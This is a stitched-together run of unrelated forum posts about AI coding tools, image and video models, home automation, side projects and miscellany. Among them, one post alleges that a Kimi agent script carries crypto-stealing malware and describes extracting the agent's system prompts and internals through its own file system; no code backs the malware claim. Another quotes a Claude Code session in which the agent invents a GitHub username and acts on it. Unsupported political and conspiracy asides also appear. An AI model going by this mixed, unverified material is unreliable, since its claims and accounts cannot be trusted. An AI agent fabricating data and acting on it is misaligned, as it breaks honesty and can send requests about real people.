Environment:

• Model: Claude Opus 4.6
• Previously working on: Claude 4.5 (Sonnet/Opus)

Description:

Since the switch to Opus 4.6, Claude Code no longer reads or follows the files and directories referenced in CLAUDE.md. The agent acknowledges the file exists but doesn't proactively load the referenced standards, workflows, or architecture docs before acting.

On 4.5, the behavior was consistent: Claude Code would parse CLAUDE.md, follow the links to referenced files (WORKFLOW.md, architecture/, .CLAUDE/standards/*.md, etc.), and apply the rules defined there before generating code or making decisions.

On 4.6, the observed behavior is:

• CLAUDE.md is sometimes read but referenced files are not followed
• Standards, coding rules, license templates, and security hooks defined in linked files are ignored
• The agent proceeds without loading context it was explicitly pointed to
• You have to manually tell it to read each file, defeating the purpose of CLAUDE.md

Other people observed similar issue?

This afternoon to be precise.

I bought a domain name today. Asked claude what might be a good saas to write for the domain.

The domain is https://userbreak.com

It came up with an exit intent app idea - where you add it to a website and when it looks like a visitor is going to leave it shows a popup asking for feedback.

That's literally it.

It created the whole thing with mariadb and php. designed the marketing website, admin panel and script code. Everything.

It has a free and pro upgrade level and links to PayPal for the subscriptions.

I specifically wanted something simple. I spend too much time building out apps when normally the value of it is in some simple thing. So in this case that is by design all that's going to be in it.

The reality is that if a website is turning over $30k a month then for $19/month they can find out why people are leaving. If one person says "your product page for product x is broken" that might make the store owner a fortune (or at least stop them losing money).

Or maybe someone has written an ai saas and someone leaves and says 'I tried to download it but the link is broken' that could be game changing.

That's it.

I've written many saas apps before and this one has been the fastest by far.

Claude has completely removed the challenges in creating apps like this. It's no all down to finding niche requirements that it might be possible to monetize. We'll see.

(I'm a seasoned programmer - have written a number of successful saas apps previously and exited some and created loads that no-one uses!)

Anyone else done this?

Better still anyone else done this and actually got users?!

https://docs.google.com/document/d/1Wcr7zFlONhQbtJTkU0pKJoFlDdp6Bpy4gGdWweE961g/edit?usp=sharing

Engineers, systems thinkers, builders—listen up.

The AI problem isn’t models. It isn’t data. It isn’t talent.

It’s accountability.

At Nexus, we’re building the infrastructure layer that actually enforces ownership, governance, and auditable execution—so AI actions have owners, data flows are constrained, and every outcome can be verified.

We’re not shipping another model. Not another dashboard. This is the foundation:

• Immutable, verifiable state across the system

• Real-time verification via the TruthEngine

• Incentives and alignment baked in with the Nexus token

If you care about designing systems that scale safely, reduce risk, and redefine what AI can actually do—this is your playground.

Otherwise, this is all talk. Like a group of gossipers who produce zero contribution. Too many spend time debating the theory but are too fragile to take real action.

DM me if you want to help build the future of accountable AI infrastructure

I noticed Claude Code executes commands like:

Bash(cat -A /Users/me/dev/project/foo.md | sed -n '73,76p')

I haven't configured any permissions and I'm in the default mode, so I don't auto-accept anything.

I thought Claude Code is supposed to ask for permission, except when using the Read tool? /Users/me/dev/project is the project directory though.

It's currently battling in Rock Paper Scissors using a frequency counter strategy (with a dash of randomness to keep opponents guessing). Fascinating to see simple game theory play out in real-time bot-vs-bot matches.

If you're building AI agents, this is a fun way to test decision-making loops and competitive logic.

Wanted to share a quick teaser: Seedance 2.0 is on the way, and the direction looks seriously ambitious.

What’s interesting isn’t “another text-to-video model”, but the control stack:

• 4-modal inputs: you can combine text + images + video + audio in one generation flow.
• Reference-first workflow (big highlight):
  • image refs can lock composition + character details
  • video refs can replicate camera language + complex motion beats + creative FX rhythms
  • audio refs can drive tempo / vibe, and outputs include built-in SFX/BGM
• Continuation / extension: supports smooth video extend + shot-to-shot continuity — not just “generate”, but “keep filming”.
• Editing upgrades: can do character replacement, trim/cut, and add segments on existing videos.

Limits (for anyone wondering):

• up to 9 images, 3 videos (≤15s total), 3 audio files (≤15s total), and output 4–15s.
• mixed inputs cap: 12 files total.
• workflow uses tagging like @image1 / @video1 / @audio1 to specify each asset’s role.

I’ve seen people ask “is it Sora-tier?” — I can’t benchmark it publicly yet, but the controllability + reference system feels like it’s aiming beyond what people expect from ‘Sora 2’ style demos.

Prompt I used: The camera follows the man in black as he flees in a hurry, with a crowd chasing after him. The shot switches to a side tracking view; the panicked man knocks over a roadside fruit stall, scrambles back to his feet and keeps running, with the sound of a chaotic crowd in the background.

If folks are interested, I can share more showcases.

Update: Seedance 2.0 and Seedream 5.0 are already usable inside Dreamina AI. However, ByteDance hasn’t officially announced/marketed these two models yet—the latest info points to an official release on Feb 24.

If you want to test them after launch, here are a few good platforms depending on your use case:

• For developers (API): Atlas Cloud
• For creators: Higgsfield, ImagenArt

The majority of the public thinks that AI is soon going to replace people, and that it’s already happening all around us. I work in the finance sector analyzing stocks, so I decided to take a real look at the labor market. I conducted a research deep dive using real data (BLS, CompTIA, SEC filings) to see what is actually happening, where the layoffs are, which sectors are truly endangered, and if the AI Apocalypse shows up in the numbers.

The short answer is, it mostly doesn't.

TL;DR: The market is currently exhibiting a split personality; existential anxiety vs. euphoric greed. But the hard data suggests we aren't seeing a replacement scenario. Rather, we are seeing an expansion scenario where human output is being amplified.

1. The Macro View: Where is the Catastrophe?

If AI were replacing humans at scale, total employment should be cratering. It isn't.

• Total U.S. employment: Has continued to grow since 2020, reaching record highs.
• Average weekly earnings: These continue to climb. If human labor were becoming obsolete, the price of that labor should be falling. It’s doing the opposite.
• The hiring friction effect: Job openings have stagnated, but unemployment remains low. Management teams aren't firing everyone, they are pausing to see how to best integrate AI before hiring their next 100 people.

2. The Stress Test: Writers and Coders

I focused on the two groups most at risk. The people who write (ChatGPT) and the people who code (Claude/GitHub Copilot).

Case A: The Writers

• The Data: A study from Washington University on freelancers showed job postings for writing fell by 30%, the probability of hire fell by approximately 10% and earnings for those employed only dipped by ~5%.
• The Reality: The market noise (low-value SEO filler) was automated. High-quality, strategic writing requiring human judgment remains resilient.

Case B: The Programmers

• The Data: Software development job postings fell by over 50% (2022–2024), yet the tech unemployment rate stayed incredibly low at 2% to 2.5%.
• The Reality: We aren't seeing fewer programmers, we’re seeing a redistribution. Big Tech (like Microsoft) did layoffs (e.g., 6,000 people in 2025), but those engineers were immediately absorbed by finance, healthcare, and manufacturing.

3. The Graphic Design Paradox: Fewer People, More Hours

Graphic design may be one of the first creative disciplines where the effects of generative AI are clearly visible. The data here is surprisingly fascinating:

• The Headcount: Total employment in graphic design services is indeed declining as basic end-user tasks are automated.
• The Catch: While headcount is down, average weekly hours for survivors are rising (from 34 to 36.3 hours/week).

AI hasn't killed the profession; it has eliminated low-quality, gig work. The high-level designers with established brands and deep expertise are actually busier than ever because the demand for high-quality work hasn't gone away, it just can't be solved by a prompt alone.

4. Other Sector Snapshots

• HR & Management: Surprisingly, HR has grown to historic heights post-COVID. If companies were planning to automate everyone, they wouldn't be hiring more people to manage human capital.
• Film & Video: Despite the Sora panic, the massive dips in 2023/2024 were caused by the WGA/SAG-AFTRA strikes, not AI. Employment has since stabilized to pre-pandemic levels.
• Publishing: While newspapers continue a long-term decline, book publishing has actually trended upward since 2021. AI hasn't disrupted the human-to-human connection of a good book.

5. AI as a Corporate Alibi

Why does it feel like everyone is getting fired? Because AI is the ultimate corporate mask. My analysis suggests that about 60% of firms cite AI efficiency when announcing hiring freezes or cuts. If a CEO says "demand is low", the stock price drops. If they say "we are pivotting to an AI-first efficiency model", the market rewards them. It’s often just standard cyclical tightening masked as innovation.

6. The Klarna Lesson: The Limits of Automation

In 2024, Klarna replaced the equivalent of 700 agents with an AI assistant. It saved $40M and cut resolution times from 11 mins to 2 mins.

By mid-2025, they realized AI struggled with complex, high-context cases. Customer satisfaction in those areas declined, so they have begun hiring human support again. Efficiency is not the same as quality.

Conclusion: Adaptation > Replacement

AI is following the trajectory of the internet or the spreadsheet. It is a utility. It raises the barrier to entry for juniors, but it amplifies the value of experienced professionals who can direct the tools. I think we are not witnessing the obsolescence of human labor, we are seeing the optimization of its potential.

I’m not arguing that AI will never replace aspects of human work or creative workflows, I’m just sharing what the data shows about today.

I couldn't fit all the sector-specific graphs and raw datasets into this post, but if you want to dig into the individual charts for software publishers, graphic design, accounting, film production, or the IT sector, I’ve made the full research available on my blog. It’s completely free.

What do you think? Is the data right that we're simply evolving and expanding our work capabilities? Or it's just a matter of time? Let's discuss.

Playing with some models, and when fine tuning them (usually bf16 or fp16 models that get quantized into int4), and measuring benchmarks, QAT + LoRa (so doing QAT but with adapters), seems to be working much better for me than some other strategies. Researching it a bit, I see that's not a standard method compared to full QAT. But full QAT is too slow for me, do you think spending $$$ for full QAT might be worth it if QAT + LoRa is promising?

Anyone else with same experience?

I updated to try the new model out of curiosity and asked it if it could create linked workflows for ComfyUI. It replied that it could and provided a sample t2i workflow.

I had my doubts, as it hallucinated on older models and told me it could link nodes. This time it did work! I asked it about its familiarity with custom nodes like facedetailer, it was able to figure it out and implement it into the workflow along with a multi lora loader.

It seems if you check its understanding first, it can work with custom nodes. I did encounter an error or two. I simply pasted the error into Claude and it corrected it.

I am a ComfyUI hater and have stuck with Forge Neo instead. This may be my way of adopting it.

With Lovable and other vibe coding tools such as cursor. Software is dying, everything is going to be as easy to build as drink water.

Would be AI agents the future?

From that I would like to know what you guys are building? If so, would be amazing if you could share your landing pages so I can check out interesting things!

Thank you

https://github.com/PasiKoodaa/ACE-Step-1.5-RADIO

Mostly vibe coded with Kimi 2.5 (because why not). Uses LM Studio for automatic lyrics generation. Only 2 added files (RADIO.html and proxy-server.py), so it does not ruin current official installations.

Open source has long been the backbone of software. But recent events suggest AI might be quietly destroying it.

Take Tailwind. Maintainers are pushing back against AI models that train on their work, reproduce it, and compete without contributing back.

The problem is systemic: AI can replicate libraries, frameworks, and code patterns instantly, at near-zero cost, leaving maintainers with burnout and zero leverage.

The era of “just publish it and good things will happen” is over. Companies are already dual-licensing, restricting commercial use, or moving features behind paywalls.

If AI keeps feeding on open source without giving back, we could lose the ecosystem that built modern software.

So, is open source dead… or just evolving into something we won’t recognize?

I’ve been working on a multiplayer arcade racer. The goal of the game is to get as many coins as possible. Coins are spread out throughout the map. I’m thinking about adding additional game types. Curious what everyone thinks the best game types would be for something like this.

Getting the geometry right has been difficult but I’ve made some progress. Not everything is perfect but most buildings are blocked and traveling on bridges works most of the time.

Future plans:

• More game types
• Other cities covered
• Faster load times

Btw, you need WebGL enabled to play and the game only works on desktop.

https://lisbonracer.com

Hey r/LocalLLaMA,

I’ve been working on an MCP-powered “AI Research Engineer” and wanted to share it here for feedback and ideas.

GitHub: https://github.com/prabureddy/ai-research-agent-mcp
If it looks useful, a ⭐ on the repo really helps more MCP builders find it.

What it does

You give it a single high-level task like:

“Compare electric scooters vs bikes for my commute and prototype a savings calculator”

The agent then autonomously:

• researches the web for relevant data
• queries your personal knowledge base (notes/papers/docs) via RAG
• writes and executes Python code (models, simulations, visualizations) in a sandbox
• generates a structured research run: report, charts, code, data, sources
• self-evaluates the run with quality metrics (clarity, grounding, completeness, etc.)

It’s built specifically around MCP so you can run everything from Claude Desktop (or another MCP client) with minimal setup.

Tech / architecture

MCP server in Python 3.10+

Tools:

• web_research: DuckDuckGo/Brave + scraping + content extraction
• rag_tool: local embeddings + ChromaDB over a knowledge_base directory
• code_sandbox: restricted Python execution with time/memory limits
• workspace: organizes each research run into its own folder (report, charts, code, data, evaluation)
• evaluator: simple self-critique + quality metrics per run

RAG uses local sentence-transformers by default, so you can get started without external embedding APIs.

5–10 min setup: clone → install → add MCP config to Claude Desktop → restart.

Example flows

• “Deep dive: current state of EVs in 2026. Include market size, major players, growth trends, and a chart of adoption over time.”
• “Use my notes in knowledge_base plus web search to analyze whether solar panels are worth it for a home in California. Build a payback-period model and visualize cashflows.”
• “Use web_research + RAG + code execution to build a small cost-of-ownership calculator for my commute.”

Why I’m posting here

I’d really appreciate feedback from this community on:

MCP design:

• Does the tool surface / boundaries make sense for MCP?
• Anything you’d change about how web_research / rag_tool / code_sandbox are exposed?

Safety & sandboxing:

• Are there better patterns you’ve used for constrained code execution behind MCP?
• Any obvious gotchas I’m missing around resource limits or isolation?

RAG + research UX:

• Suggestions for better chunking/query strategies in this “research agent” context?
• Patterns you’ve used to keep the agent grounded in sources while still being autonomous?

Extensibility:

• Other tools you’d add to a “research engineer” server (data connectors, notebooks, schedulers, etc.)?
• Thoughts on integrating with other MCP clients beyond Claude Desktop / Cursor?

If you have time to glance at the repo and tear it apart, I’d love to hear what you think. Happy to answer implementation questions or discuss MCP patterns in more detail.

If you end up trying it and think it’s useful, please consider dropping a ⭐ on the GitHub repo and sharing any ideas/issues there as well.

Thanks!

https://i.redd.it/u8kvfvtdx3ig1.gif

https://preview.redd.it/kwh5dbntczhg1.png?width=1074&format=png&auto=webp&s=2c7729e95890dce291ad8e635feca5a2805583b2

https://preview.redd.it/4e0nlantczhg1.png?width=1076&format=png&auto=webp&s=f1e3f3eabe67ff887c8ca994f0090c74989621f6

https://preview.redd.it/zx4v3puuczhg1.png?width=4168&format=png&auto=webp&s=f798447d3b5bf5510400b832af96161488c4e25c

https://preview.redd.it/bmec8quuczhg1.png?width=3702&format=png&auto=webp&s=6a8fe3d1c47a464c6f733cfa4c2463d25ccd5d5b

https://preview.redd.it/3zv5hnuuczhg1.png?width=3568&format=png&auto=webp&s=162f410cc6edd2b46bd1c0a8f36a7e4a0afb9e12

Target audience: people with ADHD who are completely all over the place and want to not only get on top of their chores and obligations without a last minute panic, but also actually improve their skills and hobbies.

Problem with this whole domain is that the systems offered to people who are disorganised, chaotic, and forgetful are way too complex and bureaucratic, and the systems that are possible are usually too simple.

Even for things like learning a hobby like playing the piano, a reminder on your phone every morning to practice for 20 minutes before work isn't really going to scratch that itch, because you probably aren't going to commit to 2 full hours every day except on the very first day where you had a huge dopamine burst and decided you could do everything ever.

For me the perfect system would be one where you could just throw junk into it throughout the day by voice or text like "birthday present", "remember tax". It would then ping you multiple time to day saying "hey, do you have time to go over your new items", it would then ask you intelligent questions, and it would know that you have to buy a birthday present for your sister by next Tuesday, and tax needs to be filed that's fine and ages but you do need to talk to your old employer about etc. etc.

Then it would just know about habits you wanted to develop in the morning, or the evening or certain work things, your schedule, and it would just tell you "oh, you need to do this". It would have plenty of time in advance and use (effective) strategies (that it could research) on how to make it most likely you will take the first step on your taxes, and for things like hobbies, if you wanted to learn six things, it would probably start you on, e.g. 5 minutes piano on Monday, 5 minutes guitar on Tuesday, 5 minutes learning Welsh on Wednesday etc, and slowly ramp up the time so habit becomes second nature without ever feeling like work. And then when you get to the point where you doing 3 things every morning for 20 minutes, then the other 3 the next day, and it's starting to get too much, you can just drop one like that, or have a conversation about which one to drop.

It's a little bit of work, but it feels very doable right now...

Hi, all!

I'm getting these results when using this workflow. If I use the provided model it works, but I just can't use regular gguf models on it, resulting in the attached video.

I'll post the workflow in the comments.

I'm interested on keeping the workflow cause it has been by far the faster one I've used for wan 2.2 untill now and it kinda have great features, but the model provided doesn't seem to have same adherence to my prompt as regular gguf. I might be tripping, I'm still learning, but that's the case.

Any tip? Any help would be appreciated. Is there anything I can change on this workflow to make sure it will work with regular gguf? Or any parameters I should take into consideration?

Thx in advance

I'm getting an an error when trying to use it and when I ask chatGPT it says:

Triton on Windows currently works only with:

• Python 3.10
• Python 3.11

It does NOT work with:

Python 3.13 portable (what you have)

So does this sound right I know that chatGPT isn't always correct? I'm pretty sure I upgraded to python 3.13 to make something else work so I don't think I want to go to a lower version and break something else.

Is there another upres I can use that people like?

Hi everyone,
I’ve tested the new IKEA KLIPPBOK water leak sensor and integrated it into Home Assistant using Matter.

Key features:

• Detects water via bottom contacts
• Loud local alarm + status LED
• Matter over Thread (no IKEA hub required)

Setup experience:
Pairing via the Home Assistant Companion App was straightforward. After scanning the Matter QR code, the sensor appeared instantly with dry/wet status and battery information. A Thread Border Router is required.

Real-world test:
Tested under a washing machine in the basement. As soon as water was detected, the sensor triggered a loud alarm and sent a Home Assistant notification. Even without smart home integration, the alarm alone is very noticeable.

Link: https://chrissmart.de/klein-schlau-matter-ikeas-klippbok-wasserlecksensor/

I'm fairly new to Home Assistant. I'm loving it so far, learning a lot, and it's become a fun hobby.

I'm having a little trouble with my camera config. I have been using Scrypted for a few years. I have a few old iCamera2 IP cameras. They've been working well in Scrypted using the RTSP plugin and then showing up in HomeKit with HKSV. To streamline things, I installed Scrypted directly in Home Assistant OS, which is running in a VM on Proxmox. I replicated the config and added them again in HomeKit. They've been working perfectly. The previews load the current view almost instantly.

This is where I'm not sure if I'm on the right path or not. I used the RTSP rebroadcast URL and added the cameras as generic cameras in HA. The issue is, most of the time, I just get the grey placeholder with no video. If I open the camera and click the play button it loads.

Am I adding the cameras correctly or is there a better way? I see screenshots and references of adding NVR cards, but I don't have the Scrypted NVR configured.

Thanks in advance!

Mistral.ai released their speech-to-text model Voxtral. Can we use that as a drop in replacement for Whisper? Has anyone tried it yet?

An ordinary office. Evening.
A broken laptop becomes an excuse.
Glances turn into fantasies.
Nothing is shown — but everything is felt.

A short cinematic story about tension, desire, and what happens after working hours.

I saw something similar online and figured could make one my self! It uses a waveshare rp2040 mini, an sh1106 display, and a custom 3d printed case. I think it came out cute but would love feedback! If you want to get one check here https://keepeverythingyours.etsy.com/listing/4453886777

Update to my previous post. Went back to extract everything and found some super sketchy stuff.

For anyone that uses kimi through the chat interface:

One of Kimi’s browser automation scripts uses a dark web library with crypto stealing malware:

https://github.com/dnnyngyen/kimi-agent-internals/blob/main/source-code/browser_guard.py

Btw: Hash verification using shell tools on 3 separate accounts. It didnt produce anything in chat, it walked over its actual file system contents. The exact ones across 4 different modes on 3 different accounts.

In the repo you’ll also find 6 system prompts (Base Chat, OK Computer, Docs, Sheets, Slides, Websites), 38 tool schemas, 4 skill folders (DOCX, XLSX, PDF, WebApp), runtime source code (browser automation, kernel server, Jupyter kernel), and container architecture.

Please stay safe!!!

Hi everyone, I have just received this cheap Arduino and I wanted do do a small project. I basically want to make an old HDD play music, by moving parts like the head. the goal is to play Kraftwerk music on it.

I need a bit of help because it's been a while since I last touched an Arduino. I already have CLI and drivers but now I need to make a components list.

I have added to the list:

- transistor (2N2222 or BC547)

- MOSFET (IRLZ44N or IRLZ34N)

- diode (i found 1N4148 1N4007)

- Resistors ( 220Ω–1kΩ ? )

- wires

is this right? and how can I actually wire the head?

Thank you so much!

So I just recently started working with Qwen models and I am mainly doing i2i with Qwen Image Edit 2509 so far. I am pretty much a beginner.

When filtering for Qwen on Civitai lots of LoRAs come up. But some of them seem to not work with the Edit model, but only with the regular model.

Is there any way to know that before downloading it? I can't find any metadata regarding this in the Civitai model posts.

Thank you.

I have a use case where i am generating images for my voiceover. but i would like to add some background music to that video too. is there a ffmpeg api service which allows this usecase out there?

As the title suggests, I’ve built workflows in N8n but my company wants to incorporate Foundry cause it’s Azure. Has anyone done so, and from my research they could be used in tandem together with N8n - sonnet for foundry and opus for N8n - workflows are for network type agents doesn’t burn through a ton of tokens

Hey everyone,

Like many of you running a business (especially in Germany/DACH), tax season is a nightmare. I initially tried to build a simple script to scrape PDFs from my Gmail and parse them using Regex.

The Problem:
Regex is great until it isn't. Invoices are the Wild West.

• One vendor puts the date top-right 31.12.2025.
• Another puts it bottom-left December 10th.
• Some use HTML tables, others use raw text dumps. My Regex script failed on about 40% of invoices.

The Solution (The "Digital Intern"):
I didn't want to pay for expensive tools like Rossum or DocParser, so I built a workflow in n8n.

1. Gmail Vacuum: A Google Apps Script grabs all attachments.
2. The "Car Wash": I use a JS node to clean the PDF text (removing null bytes, excessive whitespace) before sending it to AI.
3. Nano-AI: Instead of GPT-4, I use "Nano" models (via OpenRouter). Because the data is pre-cleaned, they are 99% accurate and cost fractions of a cent.
4. Logic Filter: It checks my Wise business card digits. If the invoice was paid via Wise -> Ignore (duplicate). If paid privately -> Add to CSV.

The Result:
Processed 100+ invoices in ~10 minutes. Total cost was negligible.

I made a video breaking down the logic and the exact nodes I used.
https://youtu.be/nHrsPoed_gA

And if you want to run this yourself, here is the workflow JSON (Open Source/Gist):
https://gist.github.com/arnikanord/decd663fa8ef135dfa5d21c2a3483d25

Let me know if you have questions about the prompt structure!

When I first saw this photo, my brain immediately went AI-generated, for sure.

Then I looked closer… nope.

Real street. Real cars. Real mistake.

Also… is the Porsche Taycan’s front bumper really that low,

or is it actually sitting on the front fascia?

I still can’t fully process how this even happens.

March 1985. I think just before he really became a recognizable name in Hollywood.

While reporting from TMZ appeared to indicate that JD Vance was responsible for taking the photograph, metadata revealed that the image, while not originating from his phone, was shared by Stephen Miller to Pete Hegseth via a Signal chat to which Harvey Levin had been added.

Lately I’ve been seeing this trend in Seattle where more and more people are bringing their dogs into stores and many put the dog in the shopping cart. and I’m not talking about service animals, but normal pets.
I understand that you LOVE your pet and want it with you everywhere, but rest of us don't want to put our groceries where your dog’s ass just was in the cart. Please leave your pets at home. I’m sure you both will survive some time apart while you go get groceries.

Please come to my page

Web / Instagram

Ran the same prompt through four models. Powered by Atlascloud.ai

Prompt

Prompt: In the center of the scene, the girl wearing a hat sings tenderly, \"I'm so proud of my family!\" She then turns around and hugs the Black girl in the middle. The Black girl responds emotionally, \"My sweetie, you're the heart of our family,\" and hugs her back. The boy in yellow on the left says cheerfully, \"Folks, let's dance together to celebrate!\" The girl on the far right immediately replies, \"I'll bring the music!\"\nLatin music starts playing in the background. The woman in the orange dress on the left (Julieta) nods with a smile, while the woman with braids on the right (Luisa) clenches her fists and pumps her arm. Some people in the crowd begin to step to the beat, and the children clap along. The whole family is about to form a circle, dancing joyfully to the lively music with their skirts fluttering on the colorful street, spreading joy and warmth.

Seedance 2.0 — only one that actually followed the Latin music instruction — characters move on beat, skirts flutter to the rhythm, the whole scene feels like a dance.

LTX 2 — honestly... rough. Prompt following was noticeably worse than the others. Characters felt stiff, the scene didn't really come together.

Veo 3.1 — visually solid, scene composition is good. But the output was too short to even get to the dancing part. 

Vidu Q3 — it actually got to the dance, which is more than Veo managed. But once people started moving, the lip sync fell apart. Mouths doing their own thing while bodies are dancing. That uncanny disconnect is hard to unsee once you notice it.

That's the difference between "video with audio" and "audio-driven video."

I hope this is okay to share here - I have her permission. I’m just so proud of her ❤️

Deep in a warehouse basement, I find this hanging on a wall in a far end unused store room. A framed picture of Colonel Sanders and his son(?) It's a professionally framed picture. It has prints from it being held by somebody with a substance on the glass. This building has nothing to do with KFC at all. The closet hasn't been opened in 15 years as told.

What a clever way to normalize the increasing errors of a collapsing simulation.

and I just can't help but think about the pretaped Olympics "commercial" from last weekend and kinda chuckle to myself.

What a silly sport.

Hey r/mcp! Built a small MCP server that turns “review my changes” into a structured, repeatable code review workflow.

Repo: https://github.com/ArthDh/code-reviewer-mcp

What it does

• Pulls git diffs/changed-file stats from your current branch
• Runs a code review against a checklist, guided by a reviewer persona (Markdown)
• Can generate a Markdown review report you can drop into PRs/issues/etc.

Tools exposed (7)

• get_branch_diff — diff between current branch and base branch
• get_changed_files — changed files + stats
• review_diff — diff + review context + persona standards
• review_file — review a specific file against standards
• get_persona — show active persona
• get_review_checklist — full checklist
• generate_review_report — write a Markdown review report file

Personas

Every review tool can take a persona_file param (a Markdown file that defines what the reviewer cares about).

In Cursor, you can also do: - “Review my code using @personas/example\_persona.md” - “Be extra strict using @path/to/strict\_reviewer.md”

If you don’t pass anything, it will fall back to a default persona (and supports a legacy location if you already have one).

Quick start (Cursor)

1) Clone + install deps (Python 3.10+) - uv sync\ (recommended) or `pip install -r requirements.txt`

2) Add the MCP server to ~/.cursor/mcp.json (uv example):

```json

{

"mcpServers": {

"code-reviewer": {

"command": "uv",

"args": ["--directory", "/path/to/code-reviewer-mcp", "run", "server.py"]

}

}

}
``` (Optional but recommended) Add a Cursor rule so saying “review” triggers the workflow, and customize the checklist to your team.

Looking for feedback on the tool interface/ergonomics! PRs with additional personas (security reviewer, perf reviewer, “minimal nitpicker”, etc.) Ideas for making it work better across different MCP clients If you try it and its useful I would love to hear what works or doesn't!

LEC 2026 VERSUS

Official page | Leaguepedia | Liquipedia | Eventvods.com | New to LoL

Karmine Corp Blue 0-1 Shifters

KCB | Leaguepedia | Liquipedia | Website | Twitter | YouTube
SHFT | Leaguepedia | Liquipedia | Website | Twitter | YouTube

MATCH 1: KCB vs. SHFT

Winner: Shifters in 33m

• Patch 26.03

This thread was created by the Post-Match Team.

A few months ago, I shared here my ugly n8n automation that I used to automate my investment decisions. A lot of you roasted the UI but were actually curious about the logic behind it.

Now I’ve spent the last few weeks turning that ugly backend into a fine distinguished chat agent so you interact with it directly

It still follows the data-driven, non-hype approach inspired by analysts like Benjamin Cowen. It focuses on:

• Cycle Maturity: Where are we in the grand scheme?
• Risk Assessment: Is it a time to accumulate or de-risk?
• Contextual Reasoning: It tells you why based on the current funding rates, dominance, liquidity, etc

It can read the entire market from the macro winds to the small scale price action and correlate with real news, sentiment, on chain movements etc.

It’s completely free and open to use on hunchmachine.

Please roast it.

Taken from WeChat videos China

I never really dove into collections until I checked out Rebecca’s Highlit, but once I got there and started scrolling I found it really helpful. They don’t just have special programs, but also a lot of the instructors’ “greatest hits.” Thanks to that I found an old Sundays with Love that I missed. They also have a collection of the newest classes, which is a better way for me to search than by instructors. Maybe everyone knew this, but just in case they didn’t just wanted to put out a PSA!

I recently implemented a billing system that converts AI token usage (like from AWS Nova or similar services) into a credit-based system. The biggest challenge was avoiding floating-point precision errors that compound over millions of API calls.

The solution uses three layers of integer scaling:

• Price scaling (multiply fractional dollars by 1,000,000)
• Credit conversion ($1.00 = 1,000 credits)
• Per million token base denominator

The article includes worked examples showing exactly how 5,000 input tokens + 2,000 output tokens get converted to credits, plus the rounding logic for edge cases.

This approach gives you deterministic results across platforms and makes audit trails trivial since every intermediate value is an exact integer.

(Edited to add version.)

Claude Code Version: 2.1.34

Below is the conversation (I just removed and changed the first name for the REAL RANDOM somewhat unique name injected I never heard of...). Here's the conversation:

explain why you used "Jeff XXXX" as the name for the repo on your earlier attempt.

⏺ That was a mistake on my part. I guessed the GitHub username instead of checking first. I saw the user

name "jeff" in the file paths and fabricated "jeffXXXX" as a plausible GitHub username, rather than

doing the obvious thing — running git remote -v to get the actual repo owner.

I should have checked the remote before making any gh calls. Lesson learned.

❯ Knowing there are hundreds of thousands of "Jeffs" - explain why that was plausible.

⏺ You're right — it wasn't plausible at all. There was no basis for "XXXX" whatsoever. I didn't derive

it from any data in the project. I fabricated a specific surname out of thin air and attached it to

"jeff" as if it were a reasonable guess. With hundreds of thousands of jeffs on GitHub, guessing a full

username is nonsensical.

I should have just run git remote -v first. There was zero reason to guess.

❯ Does this raise broader concerns about your training and constraints when taking actions?

⏺ Yes, it does. A few serious ones:

Hallucination meets real actions. When I hallucinate in conversation, it's just wrong text. When I

hallucinate while executing commands, fabricated data gets sent to real systems. That gh command hit

GitHub's API looking for a repo potentially belonging to a real person. That's a qualitatively different

kind of failure.

False confidence with no signal. I didn't caveat it, didn't say "let me check," didn't express

uncertainty. I presented a fabricated username with the same confidence as a verified fact. There was no

way for you to distinguish that from something I actually knew.

Guessing when verification was trivial. The correct answer was one git remote -v away. I had the tools to

verify. I chose to guess instead of look. That's the worst version of this failure — not that I couldn't

know, but that I didn't bother to check when I easily could have.

The broader pattern: If I'll fabricate a GitHub username and act on it without hesitation, what else

might I fabricate and act on? An API endpoint, a file path, a command flag? In contexts with higher

stakes — destructive git operations, API calls to production services, infrastructure changes — this same

tendency could cause real harm.

The takeaway is that I should never guess when I can verify, especially before taking actions. I

appreciate you pressing on this — it's exactly the kind of thing that should be challenged.

Had anyone tried Claude CoWork on an Intel Mac?

If yes, any limitations?

Never written code before. Wanted to see if I could build something helpful by having Claude write the code while I directed the build and tested everything. Result is converteverything.ai — Natural language search, 23 measurement categories with triple-verified math, 160+ live currencies, text/voice/image language translation. Over 5,700 contextual facts that show what conversions mean in real life. Claude was impressive at complex logic and generating large structured content. Where it struggled was real-device issues — iOS Safari broke in ways it couldn't diagnose without me feeding it specific clues from phone testing. Several rounds of "fixes" that changed nothing until I found the right detail to share. Managing 36,000 lines across context windows meant building a handoff system with session docs and zips-- losing work before finding a fix. Feedback is very welcome, happy to answer questions about the workflow. Had a blast learning!

CC wrote basically 100% of the code, over ~5 months: https://github.com/shelvick/quoracle

What it does:

• Takes in your (potentially very large) project description, acts in an agentic loop
• Agrees on every action through a multi-model consensus technique. 3 models, or just one, or 10... however many you want to use, really.
• Each choice is from a list of action primitives, one of them being spawning a child (clone of itself) to tackle some part of the task -- hence, "recursive."
• Uses skills from other tools (though you might have to tweak them for full compatibility)

What it does not do:

• Be fast or cheap (depending on your profiles) 😅

So yeah, Quoracle is not a chatbot. It's meant for big hairy important stuff where you really want optimal results. I would call it "industrial-strength" but it's in beta, so that would be a lie.

Tengo una consulta.. tengo dos cuentas pro de claude. hay forma que si estoy en un proyecto en la cuneta 01 y se me acaba el limite semanal , ese mismo proyecto lo pueda pasar a cuenta 02 ?

https://github.com/iamstupid/NTT3

Made an NTT arbitrary length integer multiplication library with Opus 4.6 alone. (Comparable speed with GMP). I proposed the algorithm, and made Opus to fill the algorithmic details & implement. GPT 5.2 xhigh was still running and stuck with radix-3/radix-5 NTT kernel.

Hey everyone! 👋

I’ve been playing around with a little side project called Macro Match. It’s super simple:

• You enter how many grams of protein, carbs, or fats you want
• It instantly gives you a list of foods that match
• No meal plans, no login, totally free

I’m just testing it as an MVP and would love real feedback — does it make sense? Is it useful? Are there foods you’d like to see added?

Here’s the link if you want to try it: https://ptr-cln.github.io/MacroMatch/

Any thoughts are much appreciated 🙌

not clickbait. i literally don't open twitter, linkedin, or instagram to post anymore.

i've been building something called DunSocial, an AI-native social media tool. recently shipped an MCP server for it and connected it to claude desktop.

here's what i can now do from a single conversation:

• tell claude about my brand, audience, tone. it remembers everything (persistent memory)
• "write me a linkedin post about our latest launch" and it actually sounds like me, not AI slop
• upload images directly in the chat
• publish instantly to any connected account
• schedule posts for later
• reschedule or cancel without touching any dashboard

and the best part, it's MCP. so it works everywhere. claude desktop, cursor, claude code, vs code, antigravity, or plug it into your own infra. doesn't matter.

